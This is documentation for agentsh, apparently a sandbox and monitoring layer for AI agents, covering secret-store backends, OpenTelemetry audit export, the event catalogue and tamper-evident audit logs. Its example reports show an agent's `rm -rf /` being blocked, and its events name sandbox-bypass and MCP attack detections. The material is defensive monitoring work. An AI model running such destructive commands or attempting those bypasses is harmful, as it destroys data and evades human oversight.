Default Credentials. ADC discovers credentials from, in order: 1. The `GOOGLE_APPLICATION_CREDENTIALS` environment variable, if set, pointing at a service account JSON key file 2. The user credentials configured by `gcloud auth application-default login` 3. The attached service account on a GCE/GKE/Cloud Run/Cloud Functions instance 4. GKE Workload Identity, if configured To use a specific service account, set `GOOGLE_APPLICATION_CREDENTIALS` in the environment before invoking agentsh. agentsh itself does not have a service-account-file field. ##### URI format `gcp-sm://[#]` Where `` is the Secret Manager secret ID (just the name; the project comes from `project_id` in the provider config). The provider always reads `versions/latest`. The optional `#` fragment selects a single JSON key when the secret value is JSON-shaped. ##### Example ```yaml providers: gcpsm: type: gcp-sm project_id: my-prod-project http_services: - name: github upstream: https://api.github.com secret: ref: gcp-sm://github-token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` [GCP Secret Manager documentation →](https://cloud.google.com/secret-manager/docs) #### Azure Key Vault [Azure Key Vault](https://azure.microsoft.com/en-us/products/key-vault) is the right backend when agentsh runs in Azure and your secrets live in Key Vault. ##### Schema ```yaml providers: azurekv: type: azure-kv vault_url: https://my-vault.vault.azure.net ``` The only required field is `vault_url`. There is no `auth:` block — authentication is delegated to `DefaultAzureCredential`. ##### Authentication The Azure-KV provider calls `azidentity.NewDefaultAzureCredential`, which discovers credentials from the standard `DefaultAzureCredential` chain in order: 1. Environment variables (`AZURE_TENANT_ID`, `AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET` for a service principal; or `AZURE_USERNAME`/`AZURE_PASSWORD` for a user) 2. Workload identity (when running on AKS with workload-identity federation enabled) 3. Managed identity (when running on a VM, App Service, Container Instance, or Function App with a managed identity) 4. Azure CLI (`az login`) credentials 5. Azure PowerShell (`Connect-AzAccount`) credentials 6. Azure Developer CLI (`azd`) credentials To use a service principal explicitly, set the corresponding env vars outside agentsh. agentsh itself does not have a tenant-id/client-id/client-secret field set. ##### URI format `azure-kv://[#]` Where `` is the Key Vault secret identifier (alphanumerics and hyphens only). The vault itself is determined by `vault_url` in the provider config, not by the URI. **Path components are not allowed** — a URI like `azure-kv://name/extra` is rejected. The optional `#` fragment selects a single JSON key when the secret value is JSON-shaped. ##### Example ```yaml providers: azurekv: type: azure-kv vault_url: https://prod-secrets.vault.azure.net http_services: - name: github upstream: https://api.github.com secret: ref: azure-kv://github-token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` [Azure Key Vault documentation →](https://learn.microsoft.com/en-us/azure/key-vault/general/) #### 1Password Connect [1Password Connect](https://developer.1password.com/docs/connect/) is the right backend for teams that use 1Password as their secrets store. agentsh talks to a self-hosted Connect server, not directly to the 1Password cloud. The provider type string is `op`, matching the URI scheme. ##### Schema ```yaml providers: op: type: op server_url: https://op-connect.internal:8080 api_key: eyJhbGciOi... # Or, recommended: chain api_key_ref to another provider # api_key_ref: keyring://agentsh/op_api_key ``` Required fields: `server_url` and exactly one of `api_key` or `api_key_ref`. The two are mutually exclusive — the parser rejects a config that sets both. ##### Authentication 1Password Connect uses a single API key (formerly called a Connect token) issued by your 1Password Connect server. The key authorizes agentsh to read items from the vaults the key has been granted access to. Two ways to provide it: - **`api_key`** — the API key value, embedded in the config. Convenient for development but not recommended for production because it leaves the key in plaintext on disk. - **`api_key_ref`** — a [chained secrets URI](https://www.agentsh.org/docs/secrets/#chaining) that resolves the API key from another provider (typically the OS keyring or Vault). Recommended for production. ##### URI format `op:///[#]` Where `` is the 1Password vault name, `` is the item title within that vault, and the optional `#` fragment selects a single field within that item (e.g., `password`, `token`, or a custom field name). If the fragment is omitted, the default credential field for the item is returned. ##### Example ```yaml providers: kr: type: keyring op: type: op server_url: https://op-connect.corp.internal:8080 api_key_ref: keyring://agentsh/op_api_key http_services: - name: github upstream: https://api.github.com secret: ref: op://Engineering/GitHub#token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` [1Password Connect documentation →](https://developer.1password.com/docs/connect/) #### OS Keyring The OS keyring provider reads secrets from the operating system's native secret store via the [freedesktop.org Secret Service API](https://specifications.freedesktop.org/secret-service/latest/) on Linux, the macOS Keychain, or the Windows Credential Manager. It is the right backend for development and for cases where you want to bootstrap other providers without storing tokens in plaintext. ##### Schema ```yaml providers: kr: type: keyring ``` The keyring provider takes no configuration. It uses the OS-native secret store of the host running agentsh. There are no auth methods to configure — the OS handles authentication based on the user session. ##### URI format `keyring:///` Where `` is the service name (typically `agentsh` or a sub-namespace) and `` is the account or key name within that service. The mapping to the OS keyring depends on the platform: - **Linux:** calls the freedesktop Secret Service API. The `service` and `account` become attributes on the secret entry. - **macOS:** calls the Keychain via the Security framework. `service` maps to the keychain item's service name; `account` maps to the account. - **Windows:** calls the Credential Manager. `service` and `account` together form the target name. ##### Storing a secret in the keyring The keyring provider only reads — secrets must be stored in the OS keyring out of band. Common ways to store: ```bash ## Linux (using secret-tool from libsecret) echo "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | secret-tool store \ --label="agentsh GitHub token" service agentsh account github-token ## macOS security add-generic-password -s agentsh -a github-token \ -w "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" ## Windows (PowerShell) cmdkey /generic:agentsh:github-token /user:agentsh \ /pass:"ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" ``` ##### Example ```yaml providers: kr: type: keyring http_services: - name: github upstream: https://api.github.com secret: ref: keyring://agentsh/github-token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` The keyring provider is also the canonical way to bootstrap other providers — see [Provider Chaining](https://www.agentsh.org/docs/secrets/#chaining) for an example of using the keyring to source a Vault token. [freedesktop.org Secret Service specification →](https://specifications.freedesktop.org/secret-service/latest/) ### Provider Chaining One provider can source its own credentials from another provider via `_ref` fields. Any field whose name ends in `_ref` is parsed as a secret URI and resolved before the parent provider is initialized. This lets you avoid putting bootstrap credentials in plaintext config files. The canonical example: a Vault token sourced from the OS keyring. ```yaml providers: kr: type: keyring vault: type: vault address: https://vault.corp.internal:8200 auth: method: token token_ref: keyring://agentsh/vault_token ``` **How it resolves:** 1. `kr` is a keyring provider that needs no credentials of its own — it talks to the OS Secret Service. 2. When agentsh initializes the `vault` provider, it sees `token_ref` instead of `token` and resolves the URI by calling the `kr` provider. 3. The keyring returns the value stored under `agentsh/vault_token`, which is then passed to the Vault client as the auth token. **Cycle detection.** Provider chains are validated at startup. If provider A's `_ref` resolves to provider B and B's `_ref` resolves back to A, agentsh refuses to start with an explicit cycle error. Self-references (a provider chained to itself) are also rejected. **What can be chained.** Any field whose name ends in `_ref` on a provider's `auth` block. The full set of chained fields: - **Vault:** `token_ref`, `role_id_ref`, `secret_id_ref` - **1Password Connect:** `api_key_ref` - **AWS Secrets Manager, GCP Secret Manager, Azure Key Vault:** no chained fields — auth is handled by the cloud SDK's default credential chain unconditionally - **OS Keyring:** no chained fields — takes no auth config at all ### Lifecycle **When secrets are fetched.** Secrets are fetched at session start, before the agent process is launched. When a session loads a policy that declares any `http_services:` entries with `secret` fields, the daemon constructs each provider in topological order (so chained `*_ref` providers build before their consumers), iterates over every declared service, fetches its referenced secret from the upstream provider, generates a paired fake credential, and stores both in a per-session substitution table. A secret declared in a policy file is fetched even if no rule ever uses it during the session — the bootstrap is unconditional. After each entry is added to the table, the temporary copy of the real secret is wiped from memory; the table itself retains the only copy. **Caching and rotation.** Resolved secrets stay in the per-session substitution table for the lifetime of the session. They are not refreshed mid-session even if the upstream provider's value rotates — rotation takes effect on the next session. The table is zeroed at session cleanup. **Failure mode.** Provider errors at bootstrap fail closed: if any fetch fails, any fake-generation fails, or any provider construction fails, all already-loaded entries are zeroed and session creation returns the underlying error. The agent process is never launched. There is no in-session "operation denied" path for a missing or unreachable secret — the entire session simply does not start. On success, agentsh emits a `secrets_initialized` log event with the session ID and the count of services bootstrapped. --- # Observability Source: https://www.agentsh.org/docs/observability/ ## Observability Execution-layer observability — monitor, audit, and trace everything your agents do with session reports, OpenTelemetry export, and tamper-proof audit logs. ### Session Reports Generate markdown reports summarizing session activity for auditing, debugging, and compliance. ```bash ## Quick summary of latest session agentsh report latest --level=summary ## Detailed investigation with full timeline agentsh report --level=detailed --output=report.md ## Offline mode (no server required) agentsh report latest --level=summary --direct-db ``` #### Report Levels | Level | Contents | | --- | --- | | `summary` | Overview, activity counts, security findings, decision summary | | `detailed` | Everything in summary plus command history, file access, network connections, resource usage, and full event timeline | #### Example Summary Report ```text ## Session Report: sess-abc123 **Generated:** 2025-01-15T10:31:00Z **Report Level:** Summary ### Session Overview | Property | Value | |----------|-------| | Session ID | sess-abc123 | | Duration | 25s | | Workspace | /home/user/project | ### Activity Summary | Metric | Count | |--------|-------| | Commands Executed | 6 | | Files Accessed | 1 | | Network Connections | 2 | | Policy Denials | 2 | ### Security Findings #### Critical - **Dangerous command blocked**: `rm -rf /` - rm -rf blocked for safety #### Warning - **Network access denied**: Connection to `internal.corp.local:80` blocked ### Policy Decisions | Decision | Count | |----------|-------| | Allow | 5 | | Deny | 2 | | Redirect | 0 | ``` #### Example Detailed Report (excerpt) ```bash ### Command History | Time | Command | Decision | Exit Code | Duration | |------|---------|----------|-----------|----------| | 10:30:01 | `ls -la` | allow | 0 | 126ms | | 10:30:05 | `git status` | allow | 0 | 149ms | | 10:30:15 | `rm -rf /` | **deny** | - | - | | 10:30:20 | `curl https://api.github.com` | allow | 0 | 499ms | ### Network Connections | Time | Domain | Port | Decision | Rule | |------|--------|------|----------|------| | 10:30:20 | api.github.com | 443 | allow | github.com allowed | | 10:30:25 | internal.corp.local | 80 | **deny** | internal networks blocked | ### Event Timeline ``` 10:30:00.000 [session_created] Session started in /home/user/project 10:30:01.123 [command_policy] ls -la → allow 10:30:15.000 [command_policy] rm -rf / → DENY (rm -rf blocked) 10:30:20.010 [net_connect] api.github.com:443 → allow 10:30:25.010 [net_connect] internal.corp.local:80 → DENY ``` ``` ### OpenTelemetry Export agentsh exports audit events as **OpenTelemetry log records** via OTLP to any OTEL-compatible collector (Grafana Alloy, Datadog Agent, Honeycomb, etc.). ```yaml audit: otel: enabled: true endpoint: otel-collector.internal:4317 protocol: grpc # grpc or http ``` Events are converted to OTEL `LogRecord`s, batched, and exported asynchronously. If the collector is unreachable, the SDK retries with exponential backoff and silently drops events after exhausting retries. The primary SQLite store always has the authoritative copy. Export failures never block the caller, and if the OTEL store fails to initialize at startup, the server logs an error and continues without it. Environment variable overrides `AGENTSH_OTEL_ENDPOINT` and `AGENTSH_OTEL_PROTOCOL` override the config file. The standard `OTEL_EXPORTER_OTLP_ENDPOINT` is also respected as a fallback when `AGENTSH_OTEL_ENDPOINT` is not set. Plaintext warning When `tls.enabled` is `false`, agentsh logs a warning at startup: *OTEL export is configured without TLS; event data will be sent in plaintext*. Enable TLS for production deployments. #### Configuration ```yaml audit: otel: enabled: false endpoint: localhost:4317 # collector host:port protocol: grpc # grpc or http tls: enabled: false cert_file: "" # client certificate key_file: "" # client key insecure: false # skip server cert verification (dev only) headers: # custom headers (e.g. auth tokens) Authorization: "Bearer ${OTEL_TOKEN}" timeout: 10s # export timeout per batch signals: logs: true # export as OTEL log records spans: true # accepted but not yet implemented batch: max_size: 512 # records per batch timeout: 5s # auto-flush interval filter: include_types: [] # glob patterns: ["file_*", "net_*"] exclude_types: [] # glob patterns: ["file_stat"] include_categories: [] # exact: ["file", "network"] exclude_categories: [] min_risk_level: "" # low, medium, high, or critical resource: service_name: agentsh # OTEL resource service.name extra_attributes: {} # additional resource key-values ``` | Field | Default | Description | | --- | --- | --- | | `enabled` | `false` | Enable OTEL event export. When `false` the entire OTEL pipeline is skipped. | | `endpoint` | `localhost:4317` | Collector address (`host:port`). Required when enabled—validation fails without it. | | `protocol` | `grpc` | `grpc` or `http` (OTLP). Any other value is rejected at startup. | | `tls.enabled` | `false` | Enable TLS for the exporter connection. When `false`, a plaintext warning is logged. | | `tls.cert_file` | *none* | Path to client certificate for mutual TLS. Only used when `tls.enabled` is `true`. | | `tls.key_file` | *none* | Path to client key for mutual TLS. Must be set together with `cert_file`. | | `tls.insecure` | `false` | Skip server certificate verification. Development only—do not use in production. | | `headers` | *none* | Custom HTTP headers sent with every export request (e.g. `Authorization` tokens). | | `timeout` | `10s` | Export timeout per batch. Must be a valid Go duration string. | | `signals.logs` | `true`* | Export events as OTEL log records. | | `signals.spans` | `true`* | Accepted in config but span export is not yet implemented; has no effect. | | `batch.max_size` | `512` | Maximum records per export batch. When reached the batch is flushed immediately. | | `batch.timeout` | `5s` | Auto-flush interval. Pending records are exported even if the batch is not full. | | `resource.service_name` | `agentsh` | OTEL `service.name` resource attribute. | | `resource.extra_attributes` | *none* | Additional key-value pairs added to the OTEL resource (e.g. `deployment.environment: prod`). | * `signals` default: when **neither** `logs` nor `spans` is explicitly set, both default to `true`. If you explicitly set one (e.g. `logs: true`), the other stays `false`. TLS in production When `tls.enabled` is `true` and `tls.insecure` is `false` (the default), the OS certificate store is used for server verification. Supply `cert_file` and `key_file` for mutual TLS. #### Event Filtering Filters reduce export volume by selecting which events reach the collector. When all filter fields are empty (the default), every event is exported. | Filter | Type | When empty | Semantics | | --- | --- | --- | --- | | `include_types` | glob list | All types pass | Event type must match at least one pattern | | `exclude_types` | glob list | Nothing excluded | Events matching any pattern are dropped | | `include_categories` | exact list | All categories pass | Event category must be in the list | | `exclude_categories` | exact list | Nothing excluded | Events in matching categories are dropped | | `min_risk_level` | string | No risk filtering | Only export events at or above this level (`low` < `medium` < `high` < `critical`). Events that do not carry a risk level always pass this filter. | Evaluation order: include types → include categories → exclude types → exclude categories → min risk level. Glob patterns support `*` and `?` wildcards. Valid values for `min_risk_level` are `low`, `medium`, `high`, and `critical`—any other value is rejected at startup. ```text ## Only high-risk file and network events filter: include_categories: [file, network] min_risk_level: high ## Everything except noisy stat/list operations filter: exclude_types: [file_stat, dir_list] ``` #### Watchtower Transport The Watchtower transport sends compacted audit events to a Watchtower endpoint and can receive signed policy pushes for live enforcement updates. v0.20.1 introduced an explicit `audit.watchtower.agent_id` field for the operator-visible identity on the wire. ```yaml audit: watchtower: enabled: true endpoint: "watchtower.internal:443" agent_id: "agent-edge-001" session_id: "" # optional; generated when empty ``` When `agent_id` is unset or whitespace, agentsh falls back to `-`. If hostname lookup fails, the fallback uses `unknown-`. Policy pushes are installed only when `policies.dir` and `policies.signing.trust_store` are configured. agentsh verifies the pushed Ed25519 signature against the local trust store, checks the wire content hash, writes the policy YAML and companion `.sig` atomically, reloads the policy manager, and swaps the active engine when available. Without those local policy-signing settings, the daemon logs receipt of the pushed policy but leaves enforcement unchanged. **Decision context (v0.20.5).** On `SessionInit`, agentsh reports a *decision context* so Watchtower can resolve which signed policy the agent should enforce. It carries the hostname, operator-supplied `tags`, a source-labeled user (the OS user, overridden by the Tailscale identity when `tailscaled` is up), and an open `extra` map. Watchtower owns all mapping; agentsh reuses the existing signed-policy install path above to apply whatever policy comes back. **Approved-instance authentication (v0.20.5).** agentsh can present a per-instance API key as a bearer token over the WTP transport. The key is in `.` form; the key ID (`kid`) is safe to log while the secret is redacted. Supply it via `auth.token_file` or `auth.token_env`; when neither is set the client connects anonymously (local/test servers). Repeated auth rejections are backoff-clamped to avoid reconnect storms. ```yaml audit: watchtower: enabled: true endpoint: "watchtower.internal:443" auth: token_env: AGENTSH_WT_KEY # per-instance API key: . decision_context: tags: [prod, us-east] tailscale: enabled: true # label the user with the Tailscale identity when up extra: team: platform ``` #### Event Reference Every operation intercepted by agentsh produces a typed event. Events flow to all configured stores (SQLite, JSONL, webhooks, OTEL). Use the type and category names below with `include_types`, `exclude_types`, `include_categories`, and `exclude_categories` filters. ##### File (category: `file`) | Event Type | Description | | --- | --- | | `file_open` | File opened for reading or writing | | `file_read` | File contents read | | `file_write` | File contents written | | `file_create` | New file created | | `file_delete` | File deleted | | `file_rename` | File renamed or moved | | `file_stat` | File metadata queried | | `file_chmod` | File permissions changed | | `dir_create` | Directory created | | `dir_delete` | Directory deleted | | `dir_list` | Directory contents listed | ##### Network (category: `network`) | Event Type | Description | | --- | --- | | `dns_query` | DNS resolution attempt | | `net_connect` | Outbound TCP/network connection | | `net_listen` | Socket bound for listening | | `net_accept` | Incoming connection accepted | | `dns_redirect` | DNS resolution redirected to different address | | `connect_redirect` | Network connection redirected to different destination | | `connect_redirect_fallback` | Redirect target unreachable, fell back to original destination | | `tor_control` | Tor access-control verdict (fields: `vector`, `mode`, `decision`, `target`; onion-gateway hits add `socks_cmd`) | ##### Database (category: `database`) | Event Type | Description | | --- | --- | | `db_statement` | Postgres statement or governed CancelRequest evaluated by the DB proxy. Fields include `db_service`, `effects`, `statement_digest`, `decision`, `result`, `tx_context`, and redirect metadata. | | `db_listener_auth_fail` | Connection to the per-session DB proxy listener failed SessionID peer authentication. | | `db_handshake_fail` | Postgres startup, TLS, or auth forwarding failed closed. | | `degraded_visibility_warning` | Policy allowed a DB mode where statement visibility is degraded, such as replication or GSS encryption passthrough. | | `db_cancel_unmatched` | CancelRequest did not match a known proxy-owned BackendKeyData mapping. | | `db_cancel_after_disconnect` | CancelRequest arrived after the original backend connection was gone. | | `db_cancel_forward_failed` | Proxy failed while forwarding an allowed cancel request upstream. | | `db_cancel_mapping_fail` | Proxy could not create or commit the synthetic cancel-key mapping. | | `db_bypass_attempt` | Generated DB unavoidability rule denied direct DB access. Fields include `db_service`, `bypass_mode`, `destination`, `process_identity`, and `suppressed_count`. | ##### Process (category: `process`) | Event Type | Description | | --- | --- | | `process_start` | Process started | | `process_spawn` | Child process created | | `process_exit` | Process exited | | `process_tree_kill` | Entire process tree terminated | ##### Environment (category: `environment`) | Event Type | Description | | --- | --- | | `env_read` | Environment variable read | | `env_write` | Environment variable set or modified | | `env_list` | Environment variables enumerated | | `env_blocked` | Environment variable access blocked by policy | ##### Trash (category: `trash`) | Event Type | Description | | --- | --- | | `soft_delete` | File diverted to trash instead of deleted | | `trash_restore` | File restored from trash | | `trash_purge` | Trash entries permanently purged | ##### Shell (category: `shell`) | Event Type | Description | | --- | --- | | `shell_invoke` | Shell shim intercepted a shell invocation | | `shell_passthrough` | Shell shim bypassed (not in agentsh mode) | | `session_autostart` | Server auto-started by shim on first invocation | ##### Command (category: `command`) | Event Type | Description | | --- | --- | | `command_intercept` | Command evaluated by the policy engine | | `command_redirect` | Command redirected to a different binary | | `command_blocked` | Command denied by policy | | `path_redirect` | File path redirected to a different location | ##### Resource (category: `resource`) | Event Type | Description | | --- | --- | | `resource_limit_set` | Resource limits applied to process or session | | `resource_limit_warning` | Resource usage approaching configured threshold | | `resource_limit_exceeded` | Resource limit exceeded | | `resource_usage_snapshot` | Periodic resource usage snapshot | ##### Cgroup (category: `cgroup`) | Event Type | Description | | --- | --- | | `cgroup_mode` | Cgroup v2 mode probed at startup. Fields include `mode`, `reason`, `own_cgroup`, `slice_dir`, `io_available`, and `leaf_moved`. | | `cgroup_orphans_reaped` | Orphaned cgroup members were cleaned up during session or slice maintenance. | | `cgroup_unavailable_refusal` | Resource-limit or network enforcement refused to continue because required cgroup support was unavailable. | ##### IPC (category: `ipc`) | Event Type | Description | | --- | --- | | `unix_socket_connect` | Unix domain socket connection | | `unix_socket_bind` | Unix domain socket bound | | `unix_socket_blocked` | Unix socket operation blocked by policy | | `named_pipe_open` | Windows named pipe opened | | `named_pipe_blocked` | Windows named pipe blocked by policy | | `ipc_observed` | IPC activity detected (audit only, no enforcement) | ##### Seccomp (category: `seccomp`) | Event Type | Description | | --- | --- | | `seccomp_blocked` | Process killed by seccomp for a blocked syscall | | `notify_handler_panic` | Seccomp notify handler recovered from a panic (includes stack trace) | | `seccomp_file_denied` | File operation denied by seccomp-notify file enforcement | | `seccomp_file_emulated` | File open emulated via AddFD (supervisor opened file and injected fd) | | `seccomp_io_uring_blocked` | io_uring syscall blocked to prevent seccomp bypass | | `seccomp_socket_family_blocked` | `socket(2)` / `socketpair(2)` denied for a blocked `AF_*` family (`engine` field reports `seccomp` or `ptrace`) | ##### Signal (category: `signal`) | Event Type | Description | | --- | --- | | `signal_sent` | Signal delivered to a process | | `signal_blocked` | Signal blocked by policy | | `signal_redirected` | Signal redirected to a different target or signal number | | `signal_absorbed` | Signal absorbed (not delivered) | | `signal_approved` | Signal approved after pending human approval | | `signal_would_deny` | Signal would be denied (audit mode, not enforced) | ##### MCP (category: `mcp`) | Event Type | Description | | --- | --- | | `mcp_tool_seen` | MCP tool detected and registered | | `mcp_tool_changed` | MCP tool definition changed (rug-pull detection) | | `mcp_tool_called` | MCP tool call observed in agent request | | `mcp_detection` | MCP security pattern detected | | `mcp_tool_call_intercepted` | MCP tool call evaluated by proxy (allow or block) | | `mcp_cross_server_blocked` | Cross-server attack rule triggered (shadow, burst, read-then-send, flow) | | `mcp_network_connection` | Network connection to a known MCP server address | | `mcp_server_name_similarity` | MCP server name suspiciously similar to a known server (typosquat detection) | ##### Policy (category: `policy`) | Event Type | Description | | --- | --- | | `policy_loaded` | Policy loaded (at startup, reload, or via API) | | `policy_changed` | Active policy replaced with a new version | ##### Package (category: `package`) | Event Type | Description | | --- | --- | | `package_check_started` | Package install security check initiated for a command | | `package_check_completed` | Package check finished with an overall verdict | | `package_blocked` | Package install blocked by policy (critical vulnerability, malware, etc.) | | `package_approved` | Package install approved after human approval or policy allow | | `package_warning` | Package check produced warnings but install was permitted | | `package_provider_error` | A check provider failed (timeout, API error, rate-limited) | ##### Ptrace (category: `ptrace`) | Event Type | Description | | --- | --- | | `ptrace_attached` | Ptrace tracer attached to a process | | `ptrace_detached` | Ptrace tracer detached from a process | | `ptrace_syscall_blocked` | Syscall blocked by policy via ptrace interception | | `ptrace_syscall_redirected` | Syscall arguments modified for redirect/steering | | `ptrace_dns_redirected` | DNS resolution redirected via ptrace DNS proxy | | `ptrace_connect_redirected` | Outbound connection steered to alternative endpoint | | `ptrace_tls_sni_rewritten` | TLS Server Name Indication rewritten on outbound connection | | `ptrace_signal_blocked` | Signal syscall blocked by policy via ptrace interception | | `ptrace_signal_redirected` | Signal number rewritten for kill/tgkill/tkill | | `ptrace_prefilter_injected` | seccomp BPF pre-filter injected into tracee | | `ptrace_tracee_timeout` | Held tracee released after timeout | | `ptrace_exit_verify_denied` | Exit-time path verification denied an openat (symlink bypass detected) | | `ptrace_soft_delete` | File soft-deleted via ptrace syscall injection (unlinkat → renameat2) | | `ptrace_vfork_fastpath` | Syscall fast-pathed in vfork child (skipped policy evaluation) | #### Attributes Each log record carries attributes following OTEL semantic conventions where applicable, plus agentsh-specific fields under the `canyonroad.*` namespace. ##### Semantic Conventions | Attribute | Source | | --- | --- | | `process.pid` | Process ID | | `process.parent_pid` | Parent process ID | | `process.executable.path` | Binary path | ##### agentsh Namespace | Attribute | Description | | --- | --- | | `canyonroad.product` | Product identifier (always `"agentsh"`) | | `canyonroad.event.id` | Unique event identifier | | `canyonroad.event.type` | Event type (always present) | | `canyonroad.session.id` | Session identifier | | `canyonroad.command.id` | Command identifier | | `canyonroad.source` | Event source | | `canyonroad.path` | File path | | `canyonroad.domain` | Network domain | | `canyonroad.remote` | Remote address | | `canyonroad.operation` | Operation name | | `canyonroad.effective_action` | Final action taken | | `canyonroad.decision` | Policy decision | | `canyonroad.policy.rule` | Matching policy rule | ##### Well-Known Fields These are extracted from the event's `fields` map when present. Only non-empty values are included. | Attribute | Type | Description | | --- | --- | --- | | `canyonroad.risk_level` | string | Risk level (low/medium/high/critical) | | `canyonroad.agent_id` | string | Agent identifier | | `canyonroad.agent_type` | string | Agent type | | `canyonroad.agent_framework` | string | Agent framework name | | `canyonroad.tenant_id` | string | Tenant identifier | | `canyonroad.workspace_id` | string | Workspace identifier | | `canyonroad.policy_name` | string | Name of the matching policy | | `canyonroad.latency_us` | int | Total latency in microseconds | | `canyonroad.queue_time_us` | int | Queue wait time in microseconds | | `canyonroad.policy_eval_us` | int | Policy evaluation time in microseconds | | `canyonroad.intercept_us` | int | Intercept processing time in microseconds | | `canyonroad.backend_us` | int | Backend processing time in microseconds | | `canyonroad.error` | string | Error message | | `canyonroad.error_code` | string | Error code | | `canyonroad.ptrace.syscall` | string | Syscall name (ptrace events only) | | `canyonroad.ptrace.tracee_pid` | int | Traced process PID | | `canyonroad.ptrace.redirect_target` | string | Redirect destination (DNS/connect redirects) | | `canyonroad.ptrace.signal` | int | Signal number (signal events only) | | `canyonroad.ptrace.attach_mode` | string | Ptrace attach mode (children or pid) | ##### Severity Mapping The policy decision determines the log record severity: | Decision | Severity | | --- | --- | | `allow`, `audit` | INFO | | `redirect`, `approve`, `soft_delete` | WARN | | `deny` | ERROR | ##### Trace Correlation If an event's `fields` map contains `trace_id` (32-hex-char) and/or `span_id` (16-hex-char), they are attached to the log record for correlation with distributed traces. ##### Log Record Body Each record's body is a human-readable summary: ```text file_write: /workspace/test.go [allow] net_connect: 1.2.3.4:443 [deny] dns_query: example.com [redirect] process_start ``` #### Example OTLP Log Records Below is how two events appear as OTLP JSON log records after conversion. This is the payload sent to the collector. ```text { "resourceLogs": [{ "resource": { "attributes": [ { "key": "service.name", "value": { "stringValue": "agentsh" } } ] }, "scopeLogs": [{ "scope": { "name": "agentsh" }, "logRecords": [ { "timeUnixNano": "1708200015000000000", "severityNumber": 9, "severityText": "INFO", "body": { "stringValue": "file_write: /workspace/main.go [allow]" }, "attributes": [ { "key": "process.pid", "value": { "intValue": "48201" } }, { "key": "process.executable.path", "value": { "stringValue": "/usr/bin/node" } }, { "key": "canyonroad.product", "value": { "stringValue": "agentsh" } }, { "key": "canyonroad.event.type", "value": { "stringValue": "file_write" } }, { "key": "canyonroad.event.id", "value": { "stringValue": "evt-9f3a2b" } }, { "key": "canyonroad.session.id", "value": { "stringValue": "sess-abc123" } }, { "key": "canyonroad.path", "value": { "stringValue": "/workspace/main.go" } }, { "key": "canyonroad.operation", "value": { "stringValue": "write" } }, { "key": "canyonroad.decision", "value": { "stringValue": "allow" } }, { "key": "canyonroad.policy.rule", "value": { "stringValue": "workspace-write" } }, { "key": "canyonroad.risk_level", "value": { "stringValue": "low" } }, { "key": "canyonroad.agent_id", "value": { "stringValue": "claude-code-1" } }, { "key": "canyonroad.latency_us", "value": { "intValue": "340" } } ], "traceId": "", "spanId": "" }, { "timeUnixNano": "1708200020000000000", "severityNumber": 17, "severityText": "ERROR", "body": { "stringValue": "net_connect: 10.0.0.5:6379 [deny]" }, "attributes": [ { "key": "process.pid", "value": { "intValue": "48201" } }, { "key": "canyonroad.product", "value": { "stringValue": "agentsh" } }, { "key": "canyonroad.event.type", "value": { "stringValue": "net_connect" } }, { "key": "canyonroad.event.id", "value": { "stringValue": "evt-c71d04" } }, { "key": "canyonroad.session.id", "value": { "stringValue": "sess-abc123" } }, { "key": "canyonroad.remote", "value": { "stringValue": "10.0.0.5:6379" } }, { "key": "canyonroad.decision", "value": { "stringValue": "deny" } }, { "key": "canyonroad.policy.rule", "value": { "stringValue": "no-internal-network" } }, { "key": "canyonroad.risk_level", "value": { "stringValue": "high" } }, { "key": "canyonroad.agent_id", "value": { "stringValue": "claude-code-1" } } ], "traceId": "4bf92f3577b34da6a3ce929d0e0e4736", "spanId": "00f067aa0ba902b7" } ] }] }] } ``` The first record shows an allowed file write at `INFO` severity. The second shows a denied network connection at `ERROR` severity with trace correlation IDs set—these came from `trace_id` and `span_id` in the event's fields map. #### W3C Distributed Tracing agentsh supports **W3C Trace Context** propagation, allowing you to correlate agentsh events with traces from external observability systems. When a trace context is set on a session, every subsequent event carries `trace_id`, `span_id`, and `trace_flags` that integrate with your existing OpenTelemetry pipelines. ##### Setting Trace Context via the REST API External orchestrators or CI systems can inject a trace context into a running session: ```bash ## Set trace context for a session curl -X PUT http://localhost:18080/api/v1/sessions/$SID/trace-context \ -H "Content-Type: application/json" \ -d '{ "trace_id": "0af7651916cd43dd8448eb211c80319c", "span_id": "b7ad6b7169203331", "trace_flags": "01" }' ``` | Field | Format | Required | Description | | --- | --- | --- | --- | | `trace_id` | 32 hex chars | Yes | W3C trace identifier (must not be all zeros) | | `span_id` | 16 hex chars | No | Parent span identifier (must not be all zeros) | | `trace_flags` | 2 hex chars | No | Sampling flag: `01` = sampled, `00` = unsampled | ##### Propagation via gRPC and Environment Trace context also propagates through two additional paths: - **gRPC metadata:** The `traceparent` header is extracted from gRPC calls using the standard W3C format: `00-{trace_id}-{span_id}-{trace_flags}` - **Environment variable:** When `TRACEPARENT` is set, the agentsh client automatically propagates it to gRPC calls ##### Event Injection Once trace context is set, all events emitted during command execution—file I/O, network connections, policy decisions—include the trace fields: ```text { "type": "file_write", "session_id": "sess-abc123", "trace_id": "0af7651916cd43dd8448eb211c80319c", "span_id": "b7ad6b7169203331", "trace_flags": "01", "path": "/workspace/main.go" } ``` When exported via OTEL, the `trace_id` and `span_id` are set on the log record's span context, enabling direct correlation in tools like Grafana Tempo, Jaeger, or Honeycomb. Upstream sampling decisions are respected—an unsampled trace flag (`00`) is propagated as-is rather than being forced to sampled. ### Audit Log Integrity agentsh audit logs are chained with HMAC signatures for tamper detection. Each log entry contains an `integrity` field that links it to the previous entry, forming a cryptographic chain that detects any insertion, deletion, or modification of records. ##### Chain structure Every audit log entry includes an `integrity` object: ```text { "integrity": { "sequence": 42, "prev_hash": "a1b2c3d4...", "entry_hash": "e5f6a7b8..." } } ``` - **sequence** — monotonically increasing counter, detects deletion - **prev_hash** — the `entry_hash` of the previous entry, links the chain - **entry_hash** — `HMAC(key, sequence | prev_hash | canonical_JSON_payload)` The same input always produces the same hash. A single modified, inserted, or deleted entry breaks the chain from that point forward. ##### Configuration ```yaml audit: integrity: enabled: true algorithm: "hmac-sha256" # or "hmac-sha512" key_source: "file" # file, env, aws_kms, azure_keyvault, 